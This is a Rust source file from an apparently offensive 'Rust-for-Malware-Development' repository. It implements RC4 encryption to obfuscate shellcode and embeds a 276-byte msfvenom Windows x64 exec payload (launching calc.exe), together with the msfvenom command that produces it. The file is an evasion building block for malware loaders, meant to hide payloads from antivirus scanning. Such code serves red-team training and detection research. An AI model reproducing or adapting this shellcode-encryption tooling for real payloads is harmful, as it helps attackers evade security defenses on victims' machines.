mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
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Whitecat18
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
79 lines
2.8 KiB
Rust
79 lines
2.8 KiB
Rust
/*
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Rc4 Shellcode Encryption
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For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
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@5mukx
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*/
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// Reference [WIkiPedia] : https://en.wikipedia.org/wiki/RC4
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struct Rc4{
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s: [u8; 256],
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i: usize,
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j: usize,
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}
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impl Rc4 {
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fn new(key: &[u8]) -> Rc4{
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let mut s = [0u8; 256];
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for i in 0..256{
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s[i] = i as u8;
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}
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// Key Scheduling Algorithm (KSA): Permutation
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let mut j = 0;
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for i in 0..256{
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j = (j + s[i] as usize + key[i % key.len()] as usize) % 256;
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s.swap(i, j);
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}
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Rc4{s,i:0,j:0}
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}
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// Pseudo-random Generation Algorithm (PRGA): Generation of Keystream
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fn apply_keystream(&mut self, data: &mut [u8]){
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for byte in data.iter_mut() {
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self.i = (self.i + 1) % 256;
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self.j = (self.j + self.s[self.i] as usize) % 256;
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self.s.swap(self.i, self.j);
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let t = (self.s[self.i] as usize + self.s[self.j] as usize) % 256;
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*byte ^= self.s[t];
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}
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}
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}
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fn main(){
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let key = b"This is nerdy .. im the key :)";
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let mut rc4 = Rc4::new(key);
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// repalce your shellcode
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// msfvenom -p windows/x64/exec CMD=calc.exe -f rust
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let mut shellcode: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
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0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
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0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
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0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
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0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
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0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
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0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
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0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
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0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
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0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
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0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
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0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
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0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
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0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
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0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
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0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
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0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
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0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
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0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
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0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
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0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
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0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
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0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
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0x2e,0x65,0x78,0x65,0x00];
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rc4.apply_keystream(&mut shellcode);
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println!("[+] Encrypted Shellcode: {:?}",shellcode);
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}
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